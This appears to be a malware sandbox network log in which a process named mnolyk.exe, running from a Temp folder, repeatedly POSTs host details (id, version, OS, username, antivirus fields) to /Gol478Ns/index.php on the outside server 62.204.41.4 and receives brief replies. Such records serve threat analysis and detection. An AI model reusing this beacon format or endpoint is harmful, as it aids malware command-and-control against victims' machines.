Feb 6, 2023 18:38:41.486984015 CET	1074	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:41.549911976 CET	1074	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
608	192.168.2.7	50337	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:41.721827984 CET	1075	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:41.788013935 CET	1075	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
609	192.168.2.7	50338	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:41.974958897 CET	1076	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:42.040513039 CET	1076	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
61	192.168.2.7	49786	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:12.426489115 CET	499	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:12.490788937 CET	500	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
610	192.168.2.7	50339	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:42.208795071 CET	1077	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:42.271629095 CET	1077	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
611	192.168.2.7	50340	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:42.464571953 CET	1078	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:42.527338982 CET	1078	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
612	192.168.2.7	50341	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:42.838469982 CET	1079	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:42.901577950 CET	1079	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
613	192.168.2.7	50342	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:43.108288050 CET	1080	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:43.174962044 CET	1080	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
614	192.168.2.7	50343	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:43.443139076 CET	1081	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:43.510194063 CET	1081	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
615	192.168.2.7	50344	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:44.257733107 CET	1082	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:44.321942091 CET	1082	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
616	192.168.2.7	50345	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:44.689332962 CET	1083	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:44.752979994 CET	1083	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
617	192.168.2.7	50346	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:45.811034918 CET	1084	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:45.879740953 CET	1084	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
618	192.168.2.7	50347	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:46.051188946 CET	1085	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:46.121114969 CET	1085	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
619	192.168.2.7	50348	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:46.302644014 CET	1086	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:46.366266012 CET	1086	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
62	192.168.2.7	49787	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:12.665966988 CET	500	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:12.728543043 CET	501	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
620	192.168.2.7	50349	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:46.552442074 CET	1087	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:46.616745949 CET	1087	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
621	192.168.2.7	50350	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:46.836121082 CET	1088	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:46.900326967 CET	1088	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
622	192.168.2.7	50351	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:47.071029902 CET	1089	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:47.136858940 CET	1089	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
623	192.168.2.7	50352	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:47.330598116 CET	1090	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:47.395271063 CET	1090	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
624	192.168.2.7	50353	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:47.570343971 CET	1091	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:47.638125896 CET	1091	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
625	192.168.2.7	50354	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:47.820986986 CET	1092	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:47.885979891 CET	1092	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
626	192.168.2.7	50355	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:48.066555977 CET	1093	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
